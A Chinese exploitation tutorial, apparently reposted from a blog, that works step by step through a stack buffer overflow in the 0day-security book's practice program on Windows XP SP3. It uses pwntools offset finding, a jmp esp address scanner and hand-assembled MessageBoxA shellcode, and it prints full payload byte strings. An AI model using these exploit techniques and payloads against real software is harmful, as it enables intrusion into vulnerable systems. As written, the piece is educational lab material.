01-windows栈溢出

news2024/11/14 17:16:25

简单栈溢出

测试环境: win xp sp3 cn
辅助环境:mac,安装了pwntoosl、msf
使用0day安全中的随书文件:0day\02栈溢出原理与实践\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe

git clone https://github.com/jas502n/0day-security-software-vulnerability-analysis-technology.git

程序逻辑分析

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	LoadLibrary("user32.dll");//prepare for messagebox
	if(!(fp=fopen("password.txt","rw+")))
	{
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

从password.txt文件中读取内容,将读取的内容传入到verify_password函数中进行比较,但是在strcpy(buffer,password)拷贝时发生溢出

确认溢出长度

手动确认溢出长度

IDA6.6 IDA.68可以在win xp sp3环境中安装

使用IDA打开程序
在这里插入图片描述
可以看到Dest距离ebp的位置为0x30,即十进制48
48再加sizeof(ebp宽度) = 48 + 4 = 52,得到溢出长度为52

调试确认溢出长度

首先安装32位的windbg,再进入到windbg的安装目录下执行windbg -I,注册windbg为系统的默认调试器
在这里插入图片描述

在这里插入图片描述

利用pwntools工具生成100个字符

╰─ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

0day\02栈溢出原理与实践\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe同目录下创建password.txt文件,并写入生成的字符

双击执行stack_overflow_exec.exe,由于程序崩溃,操作系统会自动启动windbg附加该程序
在这里插入图片描述

从windbg可以获得信息eip=6161616e,再交给pwntools工具,可得到溢出长度为52

╰─ pwn cyclic -l 0x6161616e
52

简单直观&但不稳定的利用方式

在这里插入图片描述

溢出覆盖verify_password函数的返回地址,并使得返回地址跳转到verify_password函数中buffer变量首地址执行shellcode。(buffer是在栈中,地址可能不稳定)

获取buffer的地址,用来覆盖返回地址

使用IDA打开stack_overflow_exec.exe程序,选择windbg
在这里插入图片描述

配置进程选项
在这里插入图片描述

选中程序,以及程序所在目录
在这里插入图片描述

verify_password函数中下断点,并进行调试
在这里插入图片描述

在这里插入图片描述
调试可知,Dest即verify_password函数中buffer的地址为0x12FAF0

获取MessageBoxA的地址,用于shellcode弹出对话框

系统中并不存在真正的MessageBox函数,而是会用MessageBoxA(ASCII)或者MessageBoxW(Unicode)
由于当前windows xp sp3还没有对dll做地址随机化,可以直接获取MessageBoxA的地址使用

由于程序自身通过LoadLibrary("user32.dll")加载了user32.dl,可以直接在调试窗口中获取MessageBoxA的地址
在这里插入图片描述
双击user32.dll模块,进入该模块的函数列表,找到MessageBoxA的地址
在这里插入图片描述

MessageBoxA 77D507EA

还可以直接通过Dependency walker工具直接打开user32.dll获取MessageBoxA的地址
在这里插入图片描述

MessageBoxA = 0x77D10000 + 0x407EA = 0x77D507EA

构造shellcode-调用MessageBoxA

首先看MessageBox的函数原型:

int MessageBox(
    hWnd, // handle to owner window
    lpText, // text in message box
    lpCaption, // message box title
    uType // message box style
);

其中hWnduType均为NULL即可,另外两个参数均设置为good-job字符串。下面是MeessageBox汇编调用写法

xor ebx, ebx			; 将ebx置为0
push ebx				; 将该0,作为"good-job"字符串的结束符"\0"
push 0x626F6A2D
push 0x646F6F67			;"good-job" 字符串压入栈中
mov eax, esp			; 此时esp为"good-job"字符串的首地址,将字符串的地址保存在eax中
push ebx ; uType		; 第四个参数 NULL
push eax ; lpCaption	; 第三个参数 字符串"good-job\0"
push eax ; lpText		; 第二个参数 字符串"good-job\0"
push ebx ; hWnd			; 第一个参数 NULL
mov eax, 0x77D507EA		; MessageBoxA 的地址
call eax
将汇编转换为机器码1-使用调试器

随便丢入一个exe到OD或者x64dbg中,然后按空格键,将上面的汇编代码一行一行复制替换
在这里插入图片描述

在这里插入图片描述
便可以获取MessageBox调用的机器码

31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0

用HxD随便打开一个空文件,将如上机器码复制进去
在这里插入图片描述

再填充0x90,直至到52个字节(0x34)
在这里插入图片描述

最后再填充buffer的地址0x0012FAF0
在这里插入图片描述

将文件命名为password.txt,并放置到stack_overflow_exec.exe同一目录下,双击执行stack_overflow_exec.exe

在这里插入图片描述

但是退出会报错,自动被windbg附加
在这里插入图片描述
可以看出是从栈地址0x0012FAF0执行shellcode,弹出框关闭后,继续还将栈中的内容当做eip继续执行,导致报错,这个等后面修复

将汇编转换为机器码2-内联汇编

使用vc6.0 创建C程序,并写入如下内容
在这里插入图片描述

#include <windows.h>
int main()
{	
	HINSTANCE LibHandle;
	char dllbuf[11] = "user32.dll";
	LibHandle = LoadLibrary(dllbuf);
	_asm{
		xor ebx, ebx  
		push ebx      
		push 0x626F6A2D
		push 0x646F6F67
		mov eax, esp      
		push ebx    
		push eax  
		push eax    
		push ebx      
		mov eax, 0x77D507EA 
		call eax	
	}
}

编译成功后,将可执行文件放入到x64dbg中,找到内联汇编代码并复制出来
在这里插入图片描述

将汇编转换为机器码3-在线网址转换

https://shell-storm.org/online/Online-Assembler-and-Disassembler/
在这里插入图片描述

JMP ESP

修复报错 - 这里不行,会把栈破坏掉

想法是在shellcode执行完毕后,直接调用ExitProcess,就不会报错。
这里还是按照之前的方式找到ExitProcess的地址
在这里插入图片描述
在这里插入图片描述

ExitProcess 7C81CAFA

在之前的汇编中添加调用ExitProcess的代码

xor ebx, ebx  
push ebx      
push 0x626F6A2D
push 0x646F6F67
mov eax, esp      
push ebx    
push eax  
push eax    
push ebx      
mov eax, 0x77D507EA 
call eax	
push ebx
mov eax, 0x7C81CAFA
call eax

在这里插入图片描述

进入到shellcode,可以看到调用了MessageBoxExitProcess函数
在这里插入图片描述

问题出在,shellcode中也存在栈操作,会把shellcode的内容覆盖掉
在这里插入图片描述
问题依旧没有解决

什么是JMP ESP

在这里插入图片描述

在函数ret后,ESP寄存器总是指向固定的位置,即之前的返回地址上方的单元。
那么我们完全可以把shellcode从这个位置开始存放,然后把控制流劫持到内存中任意一条地址较为固定的jmp esp指令即可。
(这个技术由Cult of the Dead Cow的Dildog于1998年提出)

JMP ESP机器码从哪里来?

首先知道

  • 诸如kernel32.dlluser32.dll之类的库会被几乎所有进程加载
  • 在windows xp sp3 时,这些库的加载基址始终相同

通过代码获取dll中的 jmp esp

//FF E0		JMP EAX
//FF E1		JMP ECX
//FF E2		JMP EDX
//FF E3		JMP EBX
//FF E4		JMP ESP
//FF E5		JMP EBP
//FF E6		JMP ESI
//FF E7		JMP EDI

//FF D0		CALL EAX
//FF D1		CALL ECX
//FF D2		CALL EDX
//FF D3		CALL EBX
//FF D4		CALL ESP
//FF D5		CALL EBP
//FF D6		CALL ESI
//FF D7		CALL EDI
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
	BYTE* ptr;
	int position,address;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle=LoadLibrary(DLL_NAME);

	if(!handle){
		printf(" load dll erro !");
		exit(0);
	}

	ptr = (BYTE*)handle;

	for(position = 0; !done_flag; position++){
		try{
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4){
				//0xFFE4 is the opcode of jmp esp
				int address = (int)ptr + position;
				printf("OPCODE found at 0x%x\n",address);
			}
		}
		catch(...){
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address);
			done_flag = true;
		}
	}
}

在这里插入图片描述

通过msf获取dll中的 jmp esp

在这里插入图片描述

这里就使用0x77d29353

布置shellcode

shellcode大体是这个样子布置

52字节 + 四字节(jmp esp) + shellcode

就是布置成下面这个样子

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0

JMP ESP优化

之前的布置也有两个弊端:

  1. 占用空间大。可以发现,原本的数组中填满了无用的random data
  2. 可能破坏前一个函数的栈帧。假如我们希望在劫持控制流后最终能回到原来的程序继续运行,这种布置无疑使其变得困难

所以希望能够对布置作出改进,以达到三个目标:

  1. 能够充分利用原来的合法缓冲区
  2. 不要让shellcode被自己的push操作破坏掉
  3. 不要大范围破坏其他栈帧

得到以下优化模型
在这里插入图片描述

如上,通过sub esp, X我们把ESP向上抬高移动到shellcode后,从而避免其被破坏(后面是未使用的栈空间,所以不会造成其他影响);通过jmp esp-X我们很巧妙地把shellcode移动回了合法缓冲区。

大概布局如下

shellcode
........
shellcode
ebp (overwrite)
ret (overwrite) (jmp esp)
jmp esp-X

另外,jmp esp-X对应的实际上是:

mov eax, esp
sub eax, 0x38	; 为什么是0x38(56); shellcode+ebp+ret的总长度是56
jmp eax

拼凑字节码-有问题的

1-shellcode
xor ebx, ebx  
push ebx      
push 0x626F6A2D
push 0x646F6F67
mov eax, esp      
push ebx    
push eax  
push eax    
push ebx      
mov eax, 0x77D507EA 
call eax	
push ebx
mov eax, 0x7C81CAFA
call eax

通过https://shell-storm.org/online/Online-Assembler-and-Disassembler 将汇编转换为字节码

31 db 53 68 2d 6a 6f 62 68 67 6f 6f 64 89 e0 53 50 50 53 b8 ea 07 d5 77 ff d0 53 b8 fa ca 81 7c ff d0 
2-jmp esp
53 93 d2 77
3-jmp esp-X
mov eax, esp
sub eax, 0x38
jmp eax

转换为

89 e0 83 e8 38 ff e0 

在这里插入图片描述

执行,发现报错

调试,看起来shellcode正常
在这里插入图片描述
但是继续执行,会看到在shellcode中的栈操作,将shellcode中的字节覆盖掉了
在这里插入图片描述

解决报错

sub sp, 0x440		; 扩展栈空间
xor ebx, ebx  
push ebx      
push 0x626F6A2D
push 0x646F6F67
mov eax, esp      
push ebx    
push eax  
push eax    
push ebx      
mov eax, 0x77D507EA 
call eax	
push ebx
mov eax, 0x7C81CAFA
call eax

为什么用sub sp, 0x440,不用sub esp, 0x440

sub sp, 0x440
机器码为
66 81 ec 40 04 

sub esp, 0x440
机器码为
81 ec 40 04 00 00 ; 这里有00,会破坏shellcode

最终shellcode为,不会报错了

66 81 EC 40 04 31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 89 E0 83 E8 38 FF E0

在这里插入图片描述

参考

https://blog.wohin.me/posts/0day-chp03/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1135108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

3. 博弈树 (15分)

下棋属于一种博弈游戏&#xff0c;博弈过程可以用树&#xff08;博弈树&#xff09;来表示。假设游戏由两个人&#xff08; A 和 B &#xff09;玩&#xff0c;开始由某个人从根结点开始走&#xff0c;两个人轮流走棋&#xff0c;每次只能走一步&#xff0c; 下一步棋只能选择当…

Python 算法高级篇:启发式搜索与 A *算法

Python 算法高级篇&#xff1a;启发式搜索与 A *算法 引言 1. 什么是启发式搜索&#xff1f;1.1 启发式函数的特性1.2 启发式搜索算法 2. A *算法的原理2.1 A *算法的伪代码2.2 A *算法的优点 3. Python 中的 A *算法实现4. 总结 引言 启发式搜索是一种常用于解决路径规划和优…

【Java集合类面试二十九】、说一说HashSet的底层结构

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a;说一说HashSet的底层结构…

【CCF-A类】IEEE-TRANS系列,1区顶刊,WOS稳定收录32年,对国人友好,仅17天检索!

论文写作堪比西天取经&#xff0c;当我们经历“九九八十一难&#xff0c;取得真经“&#xff0c;还有最关键的一步&#xff0c;就是选刊发表。是“投石问路”&#xff0c;还是“投其所好”&#xff1f; 选刊有多重要&#xff0c;相信只要有过发表SCI经验的人都十分清楚。如果不…

【QT】对象树

一、QT对象树的概念 先来看一下 QObject 的构造函数&#xff1a; 通过帮助文档我们可以看到&#xff0c;QObject 的构造函数中会传入一个 Parent 父对象指针&#xff0c;children() 函数返回 QObjectList。即每一个 QObject 对象有且仅有一个父对象&#xff0c;但可以有很多个…

什么是间谍软件恶意软件?

攻击者利用此类软件从受感染的设备中收集和传输信息。这可能包括个人、银行和用户凭证&#xff08;社交网络、流媒体服务、邮件等的登录名和密码&#xff09;&#xff0c;以及设备内存中的文件。 在间谍软件的帮助下&#xff0c;欺诈者还可以窃取公司凭证&#xff0c;不仅伤害…

Vue 3中toRaw和markRaw的使用

文章目录 Vue 3的响应性系统使用toRaw使用markRaw使用场景1. 与第三方库交互2. 提高性能3. 避免无限循环 总结 &#x1f389;欢迎来到Java学习路线专栏~探索Java中的静态变量与实例变量 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒&#x1f379;✨博客主页&#xff1a;IT陈寒的博客&#…

Linux基础:2:shell外壳+文件权限

shell外壳文件权限 一.shell原理&#xff1a;1.对比&#xff1a;windo GUI 和 shell1.windo GUI2. shell 2.为什么&#xff1f;是什么&#xff1f;怎么办&#xff1f;1.为什么有shell2.是什么&#xff1f;3.怎么办&#xff1f;4.补充&#xff1a; 二.linux权限管理&#xff1a;…

Linux redis 安装

1、解压 tar -zxvf redis-5.0.10.tar.gz 2、cd /data/redis-5.0.10 文件夹 3、make 等待make命令执行完成即可。 make命令报错&#xff1a;cc 未找到命令&#xff0c;系统中缺少gcc&#xff0c;执行命令安装 gcc&#xff1a; yum -y install gcc automake autocon…

蓝桥杯每日一题2023.10.25

乘积尾零 - 蓝桥云课 (lanqiao.cn) 题目描述 题目分析 由于需要相乘的数很多&#xff0c;所以我们不能直接进行暴力模拟&#xff0c;我们知道10 2 * 5&#xff0c; 所以我们只需要找出这个数2和5的个数&#xff0c;其中2和5个数小的那个则为末尾0出现的个数 #include<bi…

探讨安科瑞低压备自投装置AM5-DB的应用-安科瑞 蒋静

1 概况 本项目主要为发电机组供电切换提供备自投保护功能&#xff0c;该发电机组的供电主要由两进线一母联的系统组成&#xff0c;其中&#xff0c;每路进线分别由一路市电和一路柴油发电机切换提供&#xff0c;故此&#xff0c;我司用了三台低压备自投装置AM5-DB来实现备自投…

软信天成:助力某制造企业建设产品主数据管理平台案例分享

某国有大型传统制造企业是一家跨领域、跨行业经营的国际化公司&#xff0c;在全球范围内拥有动力系统、工程机械、汽车制造等多个业务板块、分子公司遍及世界、产品远销110多个国家和地区&#xff0c;产品品类繁多&#xff0c;分支架构错综复杂。 近年来&#xff0c;数字化的深…

欢迎浪潮KaiwuDB成为开源社白金合作伙伴

众多开源爱好者翘首期盼的开源盛会&#xff1a;第八届中国开源年会&#xff08;COSCon23&#xff09;将于 10月28-29日在四川成都市高新区菁蓉汇举办。本次大会的主题是&#xff1a;“开源&#xff1a;川流不息、山海相映”&#xff01;各位新老朋友们&#xff0c;欢迎到成都&a…

Find My护照|苹果Find My技术与护照结合,智能防丢,全球定位

护照是一个国家的公民出入本国国境和到国外旅行或居留时&#xff0c; 由本国发给的一种证明该公民国籍和身份的合法证件。 护照&#xff08;PASSPORT&#xff09;一词在英文中是口岸通行证的意思。也就是说&#xff0c; 护照是公民旅行通过各国国际口岸的一种通行证明。 护照…

非对称加密---椭圆曲线---单向散列函数

4. 非对称加密 "非对称加密也叫公钥密码: 使用公钥加密, 使用私钥解密"在对称密码中&#xff0c;由于加密和解密的密钥是相同的&#xff0c;因此必须向接收者配送密钥。用于解密的密钥必须被配送给接收者&#xff0c;这一问题称为密钥配送问题。如果使用非对称加密也…

C语言求数组最小值,并返回下标

#include<stdio.h> #include<string.h> void main() {int a[] {12,5,21,33,55,77,11,2};int zf sizeof(a) / sizeof(a[0]);for (int i 0; i < zf; i){if (a[i] < a[0]){a[0] a[i];}}printf("最小为%d&#xff0c;下标是0",a[0]); } 如果是求最…

markdown操作

一、语法设置 1.1 标题 1.1.1 使用’#表示标题 #必须在行首&#xff0c;#越多&#xff0c;标题的级别越低1.2 代码块 1.2.1 行内代码块 使用反单引号&#xff08;一般在键盘的左上位置&#xff0c;和~是一个键&#xff09;来表示&#xff0c;如 hello&#xff1a;hello 1.2…

Windows一些基础设置

开机自启动 方法一&#xff1a; 1、首先按下键盘上的“Wini”打开设置窗口&#xff0c;在左边找到并进入“应用”&#xff1b; 2、接着在右侧点击并进入“启动”设置。 3、在启动应用下&#xff0c;将不需要开机自启动的软件给关掉。 方法二&#xff1a; 1、按CtrlShiftEs…

使用HXT和Haskell编写的程序

以下是一个使用HXT和Haskell编写的下载器程序&#xff0c;用于下载内容。此程序使用了proxy的代码。 -- 导入必要的库 import Network.HTTP.Conduit import Network.HTTP.Types.Status import Network.HTTP.Types.Header import Data.Conduit import Data.Conduit.Network imp…

Python 算法高级篇:布谷鸟哈希算法与分布式哈希表

Python 算法高级篇&#xff1a;布谷鸟哈希算法与分布式哈希表 引言 1. 什么是哈希算法&#xff1f;1.1 哈希算法的用途 2. 布谷鸟哈希算法2.1 布谷鸟哈希表的特点2.2 布谷鸟哈希算法的伪代码2.3 Python 中的布谷鸟哈希算法实现 3. 分布式哈希表3.1 分布式哈希表的特点3.2 一致性…